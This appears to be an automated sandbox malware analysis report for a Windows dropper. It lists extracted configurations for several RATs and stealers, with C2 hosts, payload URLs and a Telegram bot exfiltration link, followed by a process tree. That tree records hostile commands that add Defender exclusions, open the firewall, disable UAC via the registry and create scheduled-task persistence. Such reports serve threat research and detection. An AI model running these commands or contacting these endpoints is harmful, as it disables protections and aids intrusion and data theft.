Resubmissions
21-01-2025 02:07
250121-cjzbwa1jhp 1020-01-2025 18:36
250120-w88fmasqfy 1020-01-2025 18:27
250120-w3q96asnh1 10Analysis
-
max time kernel
150s -
max time network
156s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
-
submitted
20-01-2025 18:36
General
-
Target
4363463463464363463463463.exe
-
Size
764KB
-
MD5
85e3d4ac5a6ef32fb93764c090ef32b7
-
SHA1
adedb0aab26d15cf96f66fda8b4cfbbdcc15ef52
-
SHA256
4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
-
SHA512
a7a037bde41bcd425be18a712e27a793185f7fde638e139bbd9d253c371cd9622385eda39cf91ab715ead2591cff5b8c9f5b31d903f138d8af7bab6a9001ccab
-
SSDEEP
12288:6MSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9Ufbj:6nsJ39LyjbJkQFMhmC+6GD9mH
Malware Config
Extracted
xred
xred.mooo.com
-
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
http://xred.site50.net/syn/SUpdate.ini
https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
http://xred.site50.net/syn/Synaptics.rar
https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
http://xred.site50.net/syn/SSLLibrary.dll
Extracted
vidar
11.8
41d35cbb974bc2d1287dcd4381b4a2a8
https://t.me/fu4chmo
https://steamcommunity.com/profiles/76561199802540894
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6
Extracted
quasar
1.4.1
ZJEB
VIPEEK1990-25013.portmap.host:25013
ad21b115-2c1b-40cb-adba-a50736b76c21
-
encryption_key
3EBA8BC34FA983893A9B07B831E7CEB183F7492D
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Windows Security Service
-
subdirectory
SubDir
Extracted
xworm
5.0
lohoainam2008-36048.portmap.io:36048
-
Install_directory
%AppData%
-
install_file
Setup.exe
-
telegram
https://api.telegram.org/bot6189190228:AAF5CGiKGC5p4mkyZfTy1Lp5BrZMWsKu-pk/sendMessage?chat_id=5666777098
Extracted
remcos
Crypt
185.225.73.67:1050
-
audio_folder
576ruythg6534trewf
-
audio_path
%WinDir%
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
76y5trfed675ytg.exe
-
copy_folder
kjhgfdc
-
delete_file
true
-
hide_file
true
-
hide_keylog_file
true
-
install_flag
true
-
install_path
%AppData%
-
keylog_crypt
false
-
keylog_file
654ytrf654trf654ytgref.dat
-
keylog_flag
false
-
keylog_folder
67yrtg564tr6754yter
-
mouse_option
false
-
mutex
89765y4tergfw6587ryute-80UMP1
-
screenshot_crypt
false
-
screenshot_flag
true
-
screenshot_folder
67y4htergf65trgewfd654tyrfg
-
screenshot_path
%Temp%
-
screenshot_time
10
-
startup_value
6754ytr756ytr7654yretg8765uyt
-
take_screenshot_option
true
-
take_screenshot_time
5
-
take_screenshot_title
bank
Extracted
gurcu
https://api.telegram.org/bot6189190228:AAF5CGiKGC5p4mkyZfTy1Lp5BrZMWsKu-pk/sendMessage?chat_id=5666777098
Signatures
-
Detect Vidar Stealer 3 IoCs
-
Detect Xworm Payload 2 IoCs
-
Gurcu family
-
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
-
Quasar RAT
Quasar is an open source Remote Access Tool.
-
Quasar family
-
Quasar payload 2 IoCs
-
Remcos
Remcos is a closed-source remote control and surveillance software.
-
Remcos family
-
Stealc
Stealc is an infostealer written in C++.
-
Stealc family
-
UAC bypass 3 TTPs 3 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Vidar family
-
Xred
Xred is backdoor written in Delphi.
-
Xred family
-
Xworm
Xworm is a remote access trojan written in C#.
-
Xworm family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 3 IoCs
-
Drops startup file 8 IoCs
-
Executes dropped EXE 23 IoCs
-
Adds Run key to start application 2 TTPs 8 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 12 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 2 IoCs
-
Suspicious use of SetThreadContext 2 IoCs
-
Drops file in Program Files directory 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
System Location Discovery: System Language Discovery 1 TTPs 31 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 8 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 2 IoCs
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Kills process with taskkill 1 IoCs
-
Modifies registry class 3 IoCs
-
Modifies registry key 1 TTPs 3 IoCs
-
Runs ping.exe 1 TTPs 8 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of SetWindowsHookEx 9 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\._cache_4363463463464363463463463.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\TikTokDesktop18.exe"C:\Users\Admin\AppData\Local\Temp\Files\TikTokDesktop18.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\ieXicsAp4C'"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\ieXicsAp4C5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Windows5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Users5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\ieXicsAp4C\DverxU0PaY.exe"C:\ieXicsAp4C\DverxU0PaY.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\ieXicsAp4C\DverxU0PaY.exe" & rd /s /q "C:\ProgramData\JECBGCFHCFID" & exit5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\timeout.exetimeout /t 106⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
-
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\testingg.exe"C:\Users\Admin\AppData\Local\Temp\Files\testingg.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\server.exe"C:\Users\Admin\AppData\Roaming\server.exe"5⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall delete allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe"6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\shell.exe"C:\Users\Admin\AppData\Local\Temp\Files\shell.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Wallet-PrivateKey.Pdf.exe"C:\Users\Admin\AppData\Local\Temp\Files\Wallet-PrivateKey.Pdf.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SecurityHealthHost.exe"C:\Users\Admin\AppData\Local\Temp\SecurityHealthHost.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\819792d2-210b-4359-9733-2f66d82a2f40.bat"7⤵
-
C:\Windows\system32\chcp.comchcp 650018⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 26728⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\timeout.exetimeout /T 2 /NOBREAK8⤵
- Delays execution with timeout.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hTpEKygM37XE.bat" "5⤵
-
C:\Windows\system32\chcp.comchcp 650016⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost6⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wP5pbRHdr3SG.bat" "7⤵
-
C:\Windows\system32\chcp.comchcp 650018⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost8⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f9⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\MBT0H5uBPJ3g.bat" "9⤵
-
C:\Windows\system32\chcp.comchcp 6500110⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost10⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"10⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f11⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\bbZlyjusY5om.bat" "11⤵
-
C:\Windows\system32\chcp.comchcp 6500112⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost12⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"12⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f13⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\bRHhW8mvZ5MT.bat" "13⤵
-
C:\Windows\system32\chcp.comchcp 6500114⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"14⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f15⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HtDZuezzSumI.bat" "15⤵
-
C:\Windows\system32\chcp.comchcp 6500116⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost16⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"16⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f17⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6M5K9o8eur2w.bat" "17⤵
-
C:\Windows\system32\chcp.comchcp 6500118⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost18⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"C:\Users\Admin\AppData\Local\Temp\Files\seksiak.exe"18⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Windows Security Service" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f19⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\oSQXcR2N9QBP.bat" "19⤵
-
C:\Windows\system32\chcp.comchcp 6500120⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost20⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"4⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Setup.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Setup.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Setup" /tr "C:\Users\Admin\AppData\Roaming\Setup.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NOTallowedtocrypt.exe"C:\Users\Admin\AppData\Local\Temp\Files\NOTallowedtocrypt.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\cmd.exe/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f6⤵
- UAC bypass
- System Location Discovery: System Language Discovery
- Modifies registry key
-
-
-
C:\Users\Admin\AppData\Roaming\kjhgfdc\76y5trfed675ytg.exe"C:\Users\Admin\AppData\Roaming\kjhgfdc\76y5trfed675ytg.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exe/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f7⤵
- UAC bypass
- System Location Discovery: System Language Discovery
- Modifies registry key
-
-
-
\??\c:\program files (x86)\internet explorer\iexplore.exe"c:\program files (x86)\internet explorer\iexplore.exe"6⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f8⤵
- UAC bypass
- System Location Discovery: System Language Discovery
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\svchost.exesvchost.exe7⤵
-
-
-
-
-
-
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004C4 0x00000000000004E41⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\Setup.exeC:\Users\Admin\AppData\Roaming\Setup.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Modify Registry
3Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
764KB
MD585e3d4ac5a6ef32fb93764c090ef32b7
SHA1adedb0aab26d15cf96f66fda8b4cfbbdcc15ef52
SHA2564e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
SHA512a7a037bde41bcd425be18a712e27a793185f7fde638e139bbd9d253c371cd9622385eda39cf91ab715ead2591cff5b8c9f5b31d903f138d8af7bab6a9001ccab
-
Filesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
-
Filesize
2KB
MD515eab799098760706ed95d314e75449d
SHA1273fb07e40148d5c267ca53f958c5075d24c4444
SHA25645030bd997f50bb52c481f7bc86fac5f375d08911bcc106b98d9d8f0c2ce9778
SHA51250c125e2a98740db0a0122d7f4de97c50d84623e800b3d3e173049c8e28ff0fbe4add7677bc56cb2228f78ed17522f67ae8f1b85f62824012414ce38ce0b500c
-
Filesize
2KB
MD5d0c46cad6c0778401e21910bd6b56b70
SHA17be418951ea96326aca445b8dfe449b2bfa0dca6
SHA2569600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
SHA512057531b468f7fbbb2175a696a8aab274dec0d17d9f71df309edcff35e064f3378050066a3df47ccd03048fac461594ec75e3d4fe64f9dd79949d129f51e02949
-
Filesize
11KB
MD5f5b375dd5c271543ddbc7b8e579e09f0
SHA1c529a78441f2ffdc83933ef444f69c54d31c0dd0
SHA256e7e61da170eab4c6b042a3f0853031e30da6cdc069723bec191e47d004807ce6
SHA512dd844bc6d77f6821963540858d4705047025608ab585e7d73b05cfb89aaf216b48349ebc976a18e646604b40ef4c442b88934124631a44d65e0e8189bb1f372b
-
Filesize
11KB
MD50e5a236acaa144eb2260ac087d48114e
SHA1591a8cd42f8e3bef2c7bd055ed9bcd60cbd249e9
SHA256aac5c213cd569b03996759f02398ead8146e9c752a2d8d07a8a016f9cb11f06f
SHA5126680e765d5cf3ca3a97b8b8e3cc5521296e1fe0f24c071359589788d8a66a0615fc8947050e207fbd41c94ff5947393c64fe6533a310076692088b136ab2d4db
-
Filesize
11KB
MD552351d2d17bc4aeaccd427846282a862
SHA19ac92da13a927a3b6318340c267d26974ec233ee
SHA2560d56b834d8304154e34e6d4009bcf04def58d31bf38667f84c6abcf95f9eb882
SHA51242e678027f970ec9909d9d5503e5b76bbea257f16049f4970d33c4c7f70463c2c6a2cb67ffe4f1d2a92135202e27b28c9c25b50b4efcef4fb531e6daad41f09e
-
Filesize
944B
MD56344564097353c8e7e68991fffa80d88
SHA12ac4d108a30ec3fbd2938b0563eb912415ea7c62
SHA256d0af6d69f8bc0c98e9fb61dead6327bbc8b4f5292529313515382d8f883de0da
SHA512e2b37a9001a91cb05483d72f88bd70a61ca5655939c2290fd1580710eec9d8d26a5fedbcb5223f5413b5dcc46f1d8b6b408e57be0e4ad4b37b55cbce9023a303
-
Filesize
944B
MD569416944dac24129d0969e2ac46f0533
SHA1d71969659956b32411e0606a9bee640a0b108ef4
SHA256dffc7e01106427982d7cafd3d7e3be37e16b098fbb0958410ea8d7c68bfb97ca
SHA512aabb330053579af0d9de2661bd70eaadfd2e2e617759bc9c380db1c64731c6711304e49882138e9d337815377ee012a7458f91f692cb31538d73624385867f4c
-
Filesize
944B
MD5d0c19866ed372c0ad1493bc700a4f665
SHA18deff01b187d761334563e0faaad767bc26b9477
SHA25692097d4c09a66ed6c057e968122d723605c4dd9cd39d7ea8c610fa5551c22d79
